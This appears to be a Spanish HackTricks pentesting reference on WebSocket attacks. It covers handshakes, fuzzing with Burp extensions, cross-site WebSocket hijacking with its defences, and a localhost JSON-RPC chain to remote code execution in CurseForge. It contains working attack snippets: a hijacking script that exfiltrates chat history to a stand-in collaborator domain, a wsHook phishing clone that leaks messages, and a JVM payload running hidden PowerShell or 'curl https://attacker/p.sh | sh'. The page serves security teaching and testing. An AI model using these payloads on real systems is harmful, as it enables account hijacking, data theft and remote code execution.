Ataques WebSocket

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

¿Qué son los WebSockets?

Las conexiones WebSocket se establecen mediante un handshake inicial HTTP y están diseñadas para ser de larga duración, permitiendo mensajería bidireccional en cualquier momento sin necesidad de un sistema transaccional. Esto hace que los WebSockets sean especialmente ventajosos para aplicaciones que requieren baja latencia o comunicación iniciada por el servidor, como los flujos de datos financieros en vivo.

Establecimiento de conexiones WebSocket

Una explicación detallada sobre cómo establecer conexiones WebSocket puede consultarse here. En resumen, las conexiones WebSocket suelen iniciarse desde JavaScript del lado del cliente como se muestra a continuación:

var ws = new WebSocket("wss://normal-website.com/ws")

El protocolo wss indica una conexión WebSocket protegida con TLS, mientras que ws indica una conexión no segura.

Durante el establecimiento de la conexión, se realiza un handshake entre el navegador y el servidor a través de HTTP. El proceso de handshake implica que el navegador envíe una solicitud y el servidor responda, como se muestra en los siguientes ejemplos:

El navegador envía una solicitud de handshake:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Respuesta del handshake del servidor:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

La conexión permanece abierta para el intercambio de mensajes en ambas direcciones una vez establecida.

Puntos clave del WebSocket Handshake:

  • Los encabezados Connection y Upgrade señalan el inicio de un WebSocket handshake.
  • El encabezado Sec-WebSocket-Version indica la versión del protocolo WebSocket deseada, normalmente 13.
  • Un valor aleatorio codificado en Base64 se envía en el encabezado Sec-WebSocket-Key, garantizando que cada handshake sea único, lo que ayuda a prevenir problemas con proxies de caché. Este valor no sirve para autenticación sino para confirmar que la respuesta no fue generada por un servidor o caché mal configurado.
  • El encabezado Sec-WebSocket-Accept en la respuesta del servidor es un hash de la Sec-WebSocket-Key, verificando la intención del servidor de abrir una conexión WebSocket.

Estas características garantizan que el proceso de handshake sea seguro y fiable, allanando el camino para una comunicación en tiempo real eficiente.

Consola Linux

Puedes usar websocat para establecer una conexión raw con un WebSocket.

websocat --insecure wss://10.10.10.10:8000 -v

O para crear un websocat server:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket connections

Si encuentras que clients están conectados a un HTTP websocket desde tu red local actual, podrías intentar un ARP Spoofing Attack para realizar un MitM attack entre el client y el server.
Una vez que el client esté intentando conectarse a ti, puedes entonces usar:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Enumeración de Websockets

Puedes usar la herramienta https://github.com/PalindromeLabs/STEWS para descubrir, fingerprint y buscar vulnerabilidades en websockets automáticamente.

Herramientas de depuración de Websocket

  • Burp Suite soporta MitM de comunicaciones websockets de una forma muy similar a como lo hace con las comunicaciones HTTP regulares.
  • El socketsleuth Burp Suite extension te permitirá gestionar mejor las comunicaciones Websocket en Burp obteniendo el history, estableciendo interception rules, usando reglas de match and replace, y utilizando Intruder y AutoRepeater.
  • WSSiP: Abreviatura de “WebSocket/Socket.io Proxy”, esta herramienta, escrita en Node.js, proporciona una interfaz de usuario para capture, intercept, send custom messages y ver todas las comunicaciones WebSocket y Socket.IO entre el cliente y el servidor.
  • wsrepl es un interactive websocket REPL diseñado específicamente para penetration testing. Proporciona una interfaz para observar incoming websocket messages and sending new ones, con un framework fácil de usar para automating esta comunicación.
  • https://websocketking.com/ es una herramienta web para comunicarse con otros sitios usando websockets.
  • https://hoppscotch.io/realtime/websocket entre otros tipos de comunicaciones/protocolos, proporciona una herramienta web para comunicarse con otros sitios usando websockets.

Descifrado de Websocket

Laboratorio Websocket

En Burp-Suite-Extender-Montoya-Course tienes código para lanzar una web que usa websockets y en this post puedes encontrar una explicación.

Fuzzing de Websocket

La extensión de Burp Backslash Powered Scanner ahora permite fuzzear también mensajes WebSocket. Puedes leer más información sobre esto here.

WebSocket Turbo Intruder (extensión de Burp)

WebSocket Turbo Intruder de PortSwigger aporta scripting en Python al estilo Turbo Intruder y fuzzing de alta velocidad para WebSockets. Instálalo desde el BApp Store o desde la fuente. Incluye dos componentes:

  • Turbo Intruder: envío de alto volumen de mensajes a un único endpoint WS usando motores personalizados.
  • HTTP Middleware: expone un endpoint HTTP local que reenvía los bodies como mensajes WS sobre una conexión persistente, de modo que cualquier HTTP‑based scanner pueda sondear backends WS.

Patrón básico de script para fuzzear un endpoint WS y filtrar respuestas relevantes:

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))

def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Usa decoradores como @MatchRegex(...) para reducir el ruido cuando un solo mensaje provoca múltiples respuestas.

Puente WS detrás de HTTP (HTTP Middleware)

Envuelve una conexión WS persistente y reenvía cuerpos HTTP como mensajes WS para pruebas automatizadas con HTTP scanners:

def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection

@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Luego envía HTTP localmente; el cuerpo se reenvía como el mensaje WS:

POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16

{"message":"hi"}

Esto te permite controlar backends WS mientras filtras eventos “interesantes” (p. ej., errores SQLi, auth bypass, comportamiento de command injection).

Manejo de Socket.IO (handshake, heartbeats, events)

Socket.IO añade su propio framing sobre WS. Detéctalo vía el parámetro de query obligatorio EIO (p. ej., EIO=4). Mantén la sesión viva con Ping (2) y Pong (3) y comienza la conversación con "40", luego emite eventos como 42["message","hello"].

Ejemplo de Intruder:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Variante del adaptador HTTP:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Detección de prototype pollution del lado del servidor vía Socket.IO

Siguiendo la técnica de detección segura de PortSwigger, intenta contaminar los internals de Express enviando un payload como:

{"__proto__":{"initialPacket":"Polluted"}}

Si los saludos o el comportamiento cambian (p. ej., el echo incluye “Polluted”), probablemente hayas contaminado los prototipos del lado del servidor. El impacto depende de los sinks alcanzables; correlaciona con los gadgets en la sección de Node.js prototype pollution. Ver:

Condiciones de carrera de WebSocket con Turbo Intruder

El engine por defecto agrupa mensajes en una sola conexión (alto throughput, pobre para races). Usa el engine THREADED para crear múltiples conexiones WS y disparar payloads en paralelo para provocar logic races (double‑spend, token reuse, state desync). Parte del script de ejemplo y ajusta la concurrencia en config().

  • Consulta la metodología y alternativas en Race Condition (ver “RC in WebSockets”).

DoS de WebSocket: frame malformado “Ping of Death”

Construye frames WS cuyo header declara una longitud de payload enorme pero no envía cuerpo. Algunos servidores WS confían en la longitud y preallocan buffers; fijarla cerca de Integer.MAX_VALUE puede causar Out‑Of‑Memory y un remote unauth DoS. Ver el script de ejemplo.

CLI and debugging

  • Headless fuzzing: java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>
  • Enable the WS Logger to capture and correlate messages using internal IDs.
  • Use inc*/dec* helpers on Connection to tweak message ID handling in complex adapters.
  • Decorators like @PingPong/@Pong and helpers like isInteresting() reduce noise and keep sessions alive.

Seguridad operacional

El fuzzing WS a alta tasa puede abrir muchas conexiones y enviar miles de mensajes por segundo. Frames malformados y tasas elevadas pueden causar DoS reales. Úsalo solo donde esté permitido.

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking, también conocido como cross-origin WebSocket hijacking, se identifica como un caso específico de Cross-Site Request Forgery (CSRF) que afecta los handshakes de WebSocket. Esta vulnerabilidad surge cuando los handshakes de WebSocket se autentican únicamente vía HTTP cookies sin CSRF tokens u otras medidas de seguridad similares.

Los atacantes pueden explotar esto alojando una malicious web page que inicia una conexión cross-site WebSocket hacia una aplicación vulnerable. En consecuencia, esa conexión se trata como parte de la sesión de la víctima con la aplicación, explotando la falta de protección CSRF en el manejo de sesiones.

Para que este ataque funcione, estos son los requisitos:

  • The websocket authentication must be cookie based
  • The cookie must be accessible from the attackers server (this usually means SameSite=None) and no Firefox Total Cookie Protection enabled in Firefox and no blocked third-party cookies in Chrome.
  • The websocket server must not check the origin of the connection (or this must be bypasseable)

También:

  • If the authentication is based on a local connection (to localhost or to a local network) the attack will be possible as no current protection forbids it (check more info here)

Ataque simple

Ten en cuenta que al establecer una conexión websocket la cookie se envía al servidor. El servidor puede estar usándola para relacionar a cada usuario específico con su sesión websocket basada en la cookie enviada.

Entonces, si por ejemplo el servidor websocket devuelve el historial de la conversación de un usuario si se envía un msg con “READY”, entonces un simple XSS que establezca la conexión (la cookie se enviará automáticamente para autorizar al usuario víctima) enviandoREADY” podrá recuperar el historial de la conversación.

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

En este blog post https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ el atacante logró execute arbitrary Javascript in a subdomain del dominio donde se estaba produciendo la comunicación por web socket. Porque era un subdomain, la cookie se estaba sent, y porque el Websocket didn’t check the Origin properly, fue posible comunicarse con él y steal tokens from it.

Robar datos del usuario

Copia la aplicación web que quieres suplantar (por ejemplo los archivos .html) y dentro del script donde ocurre la comunicación por web socket añade este código:

//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

Ahora descarga el archivo wsHook.js desde https://github.com/skepticfx/wshook y guárdalo dentro de la carpeta con los archivos web.
Al exponer la aplicación web y lograr que un usuario se conecte a ella, podrás robar los mensajes enviados y recibidos vía websocket:

sudo python3 -m http.server 80

Protecciones contra CSWSH

El ataque CSWSH se basa en que un usuario se conecte a una página maliciosa que abrirá una conexión websocket a una página web donde el usuario ya está conectado y se autentificará como él cuando la request envíe las cookies del usuario.

Hoy en día es muy fácil prevenir este problema:

  • Websocket server checking the origin: El servidor websocket debería siempre comprobar desde dónde se está conectando un usuario para evitar que páginas inesperadas se conecten a él.
  • Authentication token: En lugar de basar la autenticación en una cookie, la conexión websocket podría basarse en un token generado por el servidor para el usuario y desconocido por el atacante (por ejemplo, un anti-CSRF token).
  • SameSite Cookie attribute: Las cookies con el atributo SameSite en Lax o Strict no serán enviadas desde una página atacante externa al servidor víctima; por tanto, la autenticación basada en cookies no tendrá éxito. Ten en cuenta que Chrome ahora asigna el valor Lax a las cookies sin esta bandera especificada, haciéndolo más seguro por defecto. Sin embargo, durante los primeros 2 minutos tras la creación, una cookie tendrá el valor None, lo que la hace vulnerable durante ese periodo limitado (también se espera que esta medida sea eliminada en algún momento).
  • Firefox Total Cookie Protection: Total Cookie Protection funciona aislando las cookies al sitio en el que se crean. Esencialmente cada sitio tiene su propia partición de almacenamiento de cookies para evitar que terceros vinculen el historial de navegación de un usuario. Esto hace que CSWSH sea inutilizable, ya que el sitio atacante no tendrá acceso a las cookies.
  • Chrome third-party cookies block: Esto también puede evitar que la cookie del usuario autenticado se envíe al servidor websocket incluso con SameSite=None.

Localhost WebSocket abuse & browser port discovery

Los launchers de escritorio frecuentemente arrancan helpers (p. ej., CurseAgent.exe de CurseForge) que exponen JSON-RPC WebSockets en 127.0.0.1:<random_port>. El navegador no aplica SOP en sockets loopback, por lo que cualquier página web puede intentar el handshake. Si el agente acepta valores arbitrarios de Origin y omite la autenticación secundaria, la superficie IPC se vuelve controlable remotamente directamente desde JavaScript.

Enumerando métodos expuestos

Captura una sesión legítima para aprender el contrato del protocolo. CurseForge, por ejemplo, emite frames como {"type":"method","name":"minecraftTaskLaunchInstance","args":[{...}]} donde name es el método RPC y args contiene objetos estructurados (GUIDs, resolución, flags, etc.). Una vez conocida esta estructura puedes invocar métodos como createModpack, minecraftGetDefaultLocation u otra tarea privilegiada directamente desde una página inyectada.

Descubrimiento de puertos desde el navegador

Debido a que el helper se enlaza a un puerto alto aleatorio, el exploit primero fuerza bruta localhost a través de WebSockets. Los navegadores basados en Chromium toleran ~16k upgrades fallidos antes de la limitación, lo cual es suficiente para recorrer el rango efímero; Firefox tiende a colapsar o congelarse tras unos cientos de fallos, por lo que los PoCs prácticos suelen dirigirse a Chromium.

Escáner mínimo para navegador ```javascript async function findLocalWs(start = 20000, end = 36000) { for (let port = start; port <= end; port++) { await new Promise((resolve) => { const ws = new WebSocket(`ws://127.0.0.1:${port}/`); let settled = false; const finish = () => { if (!settled) { settled = true; resolve(); } }; ws.onerror = ws.onclose = finish; ws.onopen = () => { console.log(`Found candidate on ${port}`); ws.close(); finish(); }; }); } } ```

Una vez que una conexión sobrevive al handshake y devuelve datos específicos del protocolo, reutiliza ese socket para la cadena RPC.

Encadenamiento de métodos JSON-RPC hacia RCE

El exploit de CurseForge encadena dos llamadas no autenticadas:

  1. createModpack → devuelve un nuevo MinecraftInstanceGuid sin interacción del usuario.
  2. minecraftTaskLaunchInstance → lanza ese GUID mientras acepta flags JVM arbitrarios a través de AdditionalJavaArguments.

Las opciones de diagnóstico JNI/JVM proporcionan entonces una primitiva RCE lista para usar. Por ejemplo, limita el metaspace para forzar un crash y aprovecha el hook de error para la ejecución de comandos:

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand ..."

En objetivos Unix simplemente intercambia el payload por /bin/sh -c 'curl https://attacker/p.sh | sh'. Esto funciona incluso cuando no puedes tocar el código de la aplicación: controlar la JVM CLI es suficiente.

Este patrón “create resource → privileged launch” aparece a menudo en updaters y launchers. Siempre que el método (1) produzca un identificador rastreado por el servidor y el método (2) ejecute código o cree un proceso con ese identificador, comprueba si se pueden inyectar argumentos controlados por el usuario.

Condiciones de carrera

Las condiciones de carrera en WebSockets también existen, consulta esta información para saber más.

Otras vulnerabilidades

Como WebSockets son un mecanismo para send data to server side and client side, dependiendo de cómo el servidor y el cliente manejen la información, WebSockets pueden usarse para explotar otras vulnerabilidades como XSS, SQLi u otra vulnerabilidad web común usando la entrada de un usuario desde un websocket.

WebSocket Smuggling

Esta vulnerabilidad podría permitirte eludir las restricciones de reverse proxies haciéndoles creer que se estableció una websocket communication (aunque no sea cierto). Esto podría permitir a un atacante acceder a endpoints ocultos. Para más información consulta la siguiente página:

Upgrade Header Smuggling

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks